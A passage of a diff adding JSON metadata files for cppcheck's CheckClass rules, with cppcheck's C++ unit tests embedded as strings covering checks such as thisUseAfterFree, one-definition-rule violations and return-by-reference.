ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMemset.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMemset.json new file mode 100644 index 0000000..6c8600d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMemset.json @@ -0,0 +1,13 @@ +{ + "name": "checkMemset", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 84, + "branches": 38, + "apis": 118, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMissingOverride.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMissingOverride.json new file mode 100644 index 0000000..d368eef --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMissingOverride.json @@ -0,0 +1,13 @@ +{ + "name": "checkMissingOverride", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 20, + "branches": 8, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkReturnByReference.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkReturnByReference.json new file mode 100644 index 0000000..3387a9c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkReturnByReference.json @@ -0,0 +1,22 @@ +{ + "name": "checkReturnByReference", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 41, + "branches": 16, + "apis": 36, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 9221 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n 